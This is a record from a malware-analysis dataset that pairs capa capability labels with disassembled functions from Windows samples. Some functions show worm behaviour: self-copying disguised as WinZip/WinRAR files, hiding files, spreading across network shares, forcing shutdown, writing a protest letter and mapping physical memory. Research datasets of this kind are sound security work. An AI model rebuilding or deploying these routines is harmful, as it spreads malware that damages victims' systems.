joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48f230
Capabilities:
Get hostname

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
mov esi, dword [esp + 0x10c]
push eax
push esi
call fcn.004a76fc
test eax, eax
jne 0x48f285
lea ecx, [esp + 8]
push 0x100
push ecx
call sub.WS2_32.dll_gethostname
cmp eax, 0xffffffff
jne 0x48f279
push 0x54b4d1
mov ecx, esi
call fcn.0049f862
xor eax, eax
pop esi
add esp, 0x104
ret 4
lea edx, [esp + 8]
mov ecx, esi
push edx
call fcn.0049f862
mov eax, 1
pop esi
add esp, 0x104
ret 4

Function at 0x48f370
Capabilities:
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x4a7fcf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, dword [esp + 0x20]
mov dword [esp + 8], 0
mov eax, dword [edi]
push eax
call sub.WS2_32.dll_inet_addr
mov esi, eax
cmp esi, 0xffffffff
jne 0x48f3b6
mov eax, dword [edi]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x48f3b6
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov esi, dword [ecx]
push esi
call sub.WS2_32.dll_inet_ntoa
push eax
lea ecx, [esp + 0x24]
call fcn.0049f793
mov esi, dword [esp + 0x1c]
lea edx, [esp + 0x20]
mov edi, 1
push edx
mov ecx, esi
mov dword [esp + 0x18], edi
call fcn.0049f4de
mov dword [esp + 8], edi
lea ecx, [esp + 0x20]
mov byte [esp + 0x14], 0
call fcn.0049f769
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x490a86
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x10c
push esi
mov esi, ecx
lea edx, [esp + 4]
push edi
mov eax, dword [esi + 4]
mov ecx, 0x3f
mov dword [esp + 0x14], eax
xor eax, eax
lea edi, [esp + 0x18]
push edx
mov dword [esp + 0x14], 1
push eax
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x128]
mov dword [esp + 0x14], eax
push eax
lea eax, [esp + 0x1c]
push eax
push 0
mov dword [esp + 0x1c], ecx
call sub.WS2_32.dll_select
test eax, eax
jne 0x490ae4
push 0x274c
call sub.WS2_32.dll_WSASetLastError
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x10c
ret 0xc
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
mov eax, dword [esi + 4]
push 0
push ecx
push edx
push eax
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
jne 0x490b06
or eax, eax
pop edi
pop esi
add esp, 0x10c
ret 0xc

Function at 0x490b26
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x10c
push esi
mov esi, ecx
push edi
lea edx, [esp + 8]
mov eax, dword [esi + 4]
mov ecx, 0x3f
mov dword [esp + 0x14], eax
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x10], 1
push edx
mov dword [esp + 0x10], eax
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x124]
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x10], ecx
push eax
push 0
push 0
call sub.WS2_32.dll_select
test eax, eax
jne 0x490b85
push 0x274c
call sub.WS2_32.dll_WSASetLastError
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x10c
ret 0xc
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
mov eax, dword [esi + 4]
push 0
push ecx
push edx
push eax
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x490ba7
or eax, eax
pop edi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x490c90
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
push esi
mov esi, dword [esp + 0x118]
mov eax, 0x10624dd3
mov dword [esp + 0xc], 1
mul esi
shr edx, 6
mov dword [esp + 4], edx
mov eax, esi
xor edx, edx
mov esi, 0x3e8
div esi
mov eax, dword [ecx + 4]
lea ecx, [esp + 4]
push ecx
push 0
push 0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], edx
lea edx, [esp + 0x18]
push edx
push 0
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
pop esi
jne 0x490cf0
xor eax, eax
add esp, 0x10c
ret 8
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 8

Function at 0x4a76fc
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0x10
lea eax, [ebp - 0x14]
push 0
mov esi, ecx
push eax
call fcn.00494170
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 4]
call sub.WS2_32.dll_getsockname
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov esi, ecx
test esi, esi
je 0x4a775b
push dword [ebp - 0x12]
call sub.WS2_32.dll_ntohs
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0x10]
movzx eax, ax
mov dword [ecx], eax
call sub.WS2_32.dll_inet_ntoa
mov ecx, dword [ebp + 8]
push eax
call fcn.0049f862
mov eax, esi
pop esi
leave
ret 8

Function at 0x4a795d
Capabilities:
Send data
Send data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call sub.WS2_32.dll_send
ret 0xc

Function at 0x4ac220
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x596150]
xor edx, edx
cmp eax, edx
jne 0x4ac246
xor eax, eax
mov byte [eax + 0x596050], al
inc eax
cmp eax, 0x100
jl 0x4ac22e
mov dword [0x596150], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x596050
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4ac2d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4ac2aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4ac278
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4ac350
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4ac3a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4ac38a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4b2d30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4e1efe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004b3650
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x527694
call fcn.004d2320
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4b2dc3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004d2320
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4b2dbc
push 0
mov ecx, eax
call fcn.004a9e60
mov dword [esi + 0xc], eax
jmp 0x4b2dc5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4b2dc5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4d49b0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4d49e8
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004d2a3a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004d2a12
jmp 0x4d49f4
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4d60a2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4d60e4
call fcn.004dbb9a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4d60e4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4d60db
xor eax, eax
jmp 0x4d60ec
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004d60f2
pop edi
pop esi
pop ebx
ret 4
Function at 0x4dc0ca
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4dc0f8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4dc116
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004dc030
jmp 0x4dc116
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4dc116
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004dc030
test edi, edi
mov eax, edi
jne 0x4dc100
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402800
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 4]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x402810
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 4]
push 0xa0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4
Function at 0x4030e0
Capabilities:
Copy file
Create process on windows
Get common file path
Get program files directory

Disassembly:
sub esp, 0x904
lea eax, [esp]
push ebx
push ebp
mov ebp, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push esi
push edi
push 0
push 0x26
push eax
mov edi, ecx
push 0
call ebp
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x218]
push str._sWinZip
push edx
call esi
mov ebx, dword [sym.imp.MSVCRT.dll_fopen]
push 0x40b1f0
push 0x40e7d4
call ebx
add esp, 0x14
test eax, eax
je 0x403141
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
jmp 0x4031f7
lea eax, [esp + 0x10]
lea ecx, [esp + 0x314]
push eax
push str._sWinZipWINZIP32.exe
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x314]
mov ecx, 0x411294
push 0x40330000
push 0
push 0x40e7d4
push edx
push 0x40ced0
call fcn.00405930
test eax, eax
jne 0x4031f7
lea eax, [esp + 0x10]
lea ecx, [esp + 0x514]
push eax
push str._sWinRaRWinRAR.exe
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x514]
mov ecx, 0x411294
push 0x3ff00000
push 0
push 0x40e7d4
push edx
push 0x40ced0
call fcn.00405930
test eax, eax
jne 0x4031f7
push 0x40c8b8
lea eax, [esp + 0x718]
push str._szipfldr.dll
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x714]
push 0x40140000
push 0
push 0x40e7d4
push ecx
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0
push 0x40d5d4
push 0x40ced0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403219
push 0x40d5d4
mov ecx, edi
call fcn.00402810
push 0x40d5d4
push 0x40d7d4
lea edx, [esp + 0x11c]
push str._min__a__en__r___s____s_
push edx
call esi
add esp, 0x10
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esp + 0x214]
lea ecx, [esp + 0x114]
push 1
push eax
push ecx
push str.winzip32.exe
push 0
push 0
call edi
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40b1f0
push 0x40d7d4
call ebx
add esp, 8
test eax, eax
je 0x40328b
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x904
ret
push 0
lea edx, [esp + 0x14]
push 0x26
push edx
push 0
call ebp
lea eax, [esp + 0x10]
lea ecx, [esp + 0x214]
push eax
push str._sWinRaR
push ecx
call esi
push 0x40d5d4
push 0x40d7d4
lea edx, [esp + 0x128]
push str.a__ao__ep___s____s_
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x214]
lea ecx, [esp + 0x114]
push 0
push eax
push ecx
push str.rar.exe
push 0
push 0
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x904
ret
Function at 0x403320
Capabilities:
Copy file
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
push esi
push edi
mov esi, ecx
call fcn.00402930
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0x40ddd4
push 0x40ced0
call edi
test eax, eax
je 0x403376
push 0x3ff00000
push 0
push 0x40ddd4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40ddd4
mov ecx, esi
call fcn.00402800
push 0
push 0x40dfd4
push 0x40ced0
call edi
test eax, eax
je 0x4033b4
push 0x3ff00000
push 0
push 0x40dfd4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40dfd4
mov ecx, esi
call fcn.00402800
push 0
push 0x40d9d4
push 0x40ced0
call edi
test eax, eax
je 0x4033f2
push 0x3ff00000
push 0
push 0x40d9d4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40d9d4
mov ecx, esi
call fcn.00402800
push 0
push 0x40e3d4
push 0x40ced0
call edi
test eax, eax
je 0x403430
push 0x3ff00000
push 0
push 0x40e3d4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40e3d4
mov ecx, esi
call fcn.00402800
push 0
push 0x40d5d4
push 0x40ced0
call edi
test eax, eax
je 0x40346e
push 0x40490000
push 0
push 0x40d5d4
push 0x40fbd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40d5d4
mov ecx, esi
call fcn.00402810
push 0
push 0x40dbd4
push 0x40ced0
call edi
test eax, eax
je 0x4034ac
push 0x40dbd4
mov ecx, esi
call fcn.00402810
push 0x3ff00000
push 0
push 0x40dbd4
push 0x40f9d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0xc]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 0x14]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 0xc]
push 0
push 0
lea edx, [esp + 0x18]
push 0
push edx
push 0
push eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 0xc
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403780
Capabilities:
Enumerate network shares

Disassembly:
push 0xffffffffffffffff
push 0x4084fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xda4
mov eax, dword [esp + 0xdb4]
push ebx
push ebp
push esi
mov dword [esp + 0x1c], ecx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea ecx, [esp + 0x1b8]
xor esi, esi
push str._s
push ecx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call edi
lea edx, [esp + 0x1c0]
push 0x400
lea eax, [esp + 0x5c4]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_mbstowcs]
mov eax, dword [esp + 0xde0]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x18
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [esp + 0x28], ecx
lea edx, [esp + 0x14]
lea eax, [esp + 0x24]
push edx
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x30]
push ecx
lea edx, [esp + 0x1c]
push 0x400
push edx
lea ecx, [esp + 0x5c8]
push eax
push ecx
call sub.NETAPI32.dll_NetShareEnum
mov ecx, eax
mov eax, dword [esp + 0x18]
test ecx, ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
je 0x403849
cmp ecx, 0xea
jne 0x40395a
mov edx, dword [esp + 0x24]
test edx, edx
je 0x40394e
mov esi, dword [esp + 0x10]
xor ebp, ebp
test eax, eax
jbe 0x403940
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esi]
lea eax, [esp + 0x34]
push edx
push 0x40b594
push eax
call edi
lea ecx, [esp + 0x40]
push str.IPC_
push ecx
call ebx
add esp, 0x14
test eax, eax
jne 0x403930
lea edx, [esp + 0x34]
push str.ADMIN_
push edx
call ebx
add esp, 8
test eax, eax
jne 0x403930
lea eax, [esp + 0x34]
push str.print_
push eax
call ebx
add esp, 8
test eax, eax
jne 0x403930
lea ecx, [esp + 0x34]
push str.Printer
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x403930
mov eax, dword [esp + 0xdc4]
lea edx, [esp + 0x34]
push edx
push eax
lea ecx, [esp + 0x13c]
push 0x40b56c
push ecx
call edi
add esp, 0xc
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x410e10
call sub.MFC42.DLL_CString::CString_1
push ecx
lea edx, [esp + 0x13c]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
mov dword [esp + 0xdc8], 0
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [esp + 0x28]
mov dword [esp + 0xdc4], 0xffffffff
call fcn.00403980
mov eax, dword [esp + 0x18]
inc ebp
add esi, 4
cmp ebp, eax
jb 0x403863
mov eax, dword [esp + 0x10]
push eax
call sub.NETAPI32.dll_NetApiBufferFree
mov ecx, dword [esp + 0x1c]
cmp ecx, 0xea
je 0x403800
mov ecx, dword [esp + 0xdb4]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0xdb0
ret 8
Function at 0x403b20
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x408540
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
push 0x40b5a8
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.00408084
test ebx, ebx
mov byte [esp + 0x24], 1
je 0x403c04
test bl, 1
je 0x403bf1
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
mov cl, byte [esp + 0x10]
add cl, 0x41
push ecx
push 0
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::SetAt
mov eax, dword [esp + 0xc]
mov esi, 0x40b5a4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403bcc
test cl, cl
je 0x403bc8
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403bcc
add eax, 2
add esi, 2
test cl, cl
jne 0x403ba8
xor eax, eax
jmp 0x403bd1
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x403bf1
push ecx
lea eax, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, edi
call fcn.00403c40
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x10]
shr ebx, 1
inc ecx
test ebx, ebx
mov dword [esp + 0x10], ecx
jne 0x403b79
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret
Function at 0x4056f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2b0
mov ecx, 0xa4
lea eax, [esp]
push esi
push edi
mov esi, str.Borneo__2006_p_Kepada_Yth.:_p_Bapak_Presiden......._p_di__p_TEMPAT_p_Dengan_Hormat_p_BANGUNLAH_DUNIA_TEHNOLOGI_INFORMASI_YANG_HANDAL_DINEGERI_TERCINTA_INI_p_Bapak_Presiden__mohon_dengan_sangat_agar_dapat_diperhatikan_masalah_ini_sisihkanlah_anggaran_negara_kita_untuk_pembangunan_TI_yang_handal__berilah_anak_anak_didik_kita_akses_murah_untuk_menuju_dunia_internet...jadikanlah_dalam_waktu_10_tahun_yang_akan_datang_mereka_jawara2_didunia_internasional_dalam_hal_TI_bukan_jawara_Pembantu_Rumah_Tangga...______p_SIAPA_YANG_MENGUASAI_DUNIA_TEKHNOLOGI_INFORMASI__MAKA_DIA_AKAN_MENGUASAI_DUNIA..___p_Hormat_Saya_p__p__p_Yang_Tak_Ingin_Menjadi_Budak_Negara_Lain
lea edi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 6
mov esi, str.C:Surat_Buat_Presiden.htm
lea edi, [esp + 8]
push 0x40b0dc
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x40575c
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x2c]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
pop edi
pop esi
add esp, 0x2b0
ret

Function at 0x405930
Capabilities:
Copy file
Set file attributes

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
push 0x40b1f0
push ebx
mov dword [0x411aa8], eax
mov dword [0x411aac], ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
test eax, eax
je 0x40599f
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
add esp, 4
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40599f
push 0xa0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push ebx
push edi
call fcn.00405880
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
ret 0x14
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x14
Function at 0x4063d0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [0x411b50]
push esi
push eax
push edx
call fcn.00406430
mov ecx, dword [0x411b54]
mov esi, eax
and eax, 0xfffff000
push 0x1000
push eax
push 0
push 6
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
jne 0x406408
pop esi
ret 4
shr esi, 2
and esi, 0x3ff
push eax
mov esi, dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, esi
pop esi
ret 4

Function at 0x406430
Capabilities:
Read file via mapping

Disassembly:
mov ecx, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x10]
mov eax, edi
shr eax, 0x16
mov eax, dword [ecx + eax*4]
mov edx, eax
and edx, 1
test dl, dl
jne 0x406452
pop edi
xor eax, eax
pop esi
ret 8
mov ecx, eax
and ecx, 0x80
test cl, cl
je 0x406471
mov esi, eax
xor esi, edi
pop edi
and esi, 0x3fffff
xor esi, eax
mov eax, esi
pop esi
ret 8
mov edx, dword [0x411b54]
and eax, 0xfffff000
push 0x1000
push eax
push 0
push 4
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, edi
shr ecx, 0xc
and ecx, 0x3ff
mov ecx, dword [eax + ecx*4]
mov edx, ecx
and edx, 1
test dl, dl
jne 0x4064ab
pop edi
xor eax, eax
pop esi
ret 8
mov esi, ecx
push eax
xor esi, edi
and esi, 0xfff
xor esi, ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, esi
pop edi
pop esi
ret 8

Function at 0x4064d0
Capabilities:
Check os version
Read file via mapping

Disassembly:
sub esp, 0x20
mov dword [0x411ab0], 0x94
push ebx
push esi
push edi
mov ebx, ecx
push 0x411ab0
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [0x411ab4], 5
je 0x4064ff
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret
mov eax, dword [0x411ab8]
xor esi, esi
sub eax, esi
je 0x40651d
dec eax
je 0x406516
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret
mov edi, 0x39000
jmp 0x406522
mov edi, 0x30000
lea eax, [esp + 0xc]
push str.DevicePhysicalMemory
push eax
call dword [0x411b48]
lea edx, [esp + 0x14]
lea ecx, [esp + 0xc]
push edx
push 6
push 0x411b54
mov dword [esp + 0x20], 0x18
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
call dword [0x411b44]
cmp eax, 0xc0000022
jne 0x4065ad
lea eax, [esp + 0x14]
push eax
push 0x60000
push 0x411b54
call dword [0x411b44]
mov ecx, dword [0x411b54]
push ecx
mov ecx, ebx
call fcn.004065f0
mov edx, dword [0x411b54]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x14]
push eax
push 6
push 0x411b54
call dword [0x411b44]
cmp eax, esi
jge 0x4065ba
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret
mov ecx, dword [0x411b54]
push 0x1000
push edi
push esi
push 6
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [0x411b54]
mov dword [0x411b50], eax
neg eax
sbb eax, eax
pop edi
pop esi
and eax, ecx
pop ebx
add esp, 0x20
ret